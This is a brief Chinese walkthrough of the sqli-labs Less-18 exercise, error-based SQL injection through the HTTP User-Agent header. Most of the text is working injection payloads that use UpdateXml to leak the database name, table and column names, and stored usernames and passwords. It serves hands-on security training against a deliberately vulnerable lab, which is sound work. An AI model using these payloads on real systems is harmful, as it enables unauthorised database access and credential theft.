【sqli-labs】 less18 POST - Header Injection - Uagent field - Error based (基于错误的用户代理，头部POST注入)

这次username和password都进行了输入校验

但是ip和uagent没有校验

当我们用admin admin登陆成功后，就会一条插入语句

由于程序无条件的信任了浏览器的header信息，那么通过修改http包的header信息构造注入

使用burpsuite进行包拦截/修改

 

 修改user-agent字段，加个单引号

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0'

利用UpdateXml函数报错来显示数据

User-Agent: 123' AND UpdateXml(1,concat(0x7e,database(),0x7e),1),1,1)#

User-Agent: 123' AND UpdateXml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1),1,1)#

User-Agent: 123' AND UpdateXml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1 ),0x7e),1),1,1)#

User-Agent: 123' AND UpdateXml(1,concat(0x7e,(select username from (select username from users limit 2,1) a),0x7e),1),1,1)#

User-Agent: 123' AND UpdateXml(1,concat(0x7e,(select password from (select password from users limit 2,1) a),0x7e),1),1,1)#